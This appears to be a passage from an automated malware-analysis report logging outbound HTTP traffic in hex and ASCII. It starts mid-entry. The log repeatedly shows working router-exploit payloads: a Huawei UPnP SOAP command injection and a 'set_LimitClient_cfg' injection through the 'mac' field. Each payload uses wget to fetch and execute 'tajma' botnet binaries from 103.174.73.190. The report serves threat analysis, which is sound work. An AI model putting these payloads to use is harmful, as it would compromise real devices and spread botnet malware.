67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
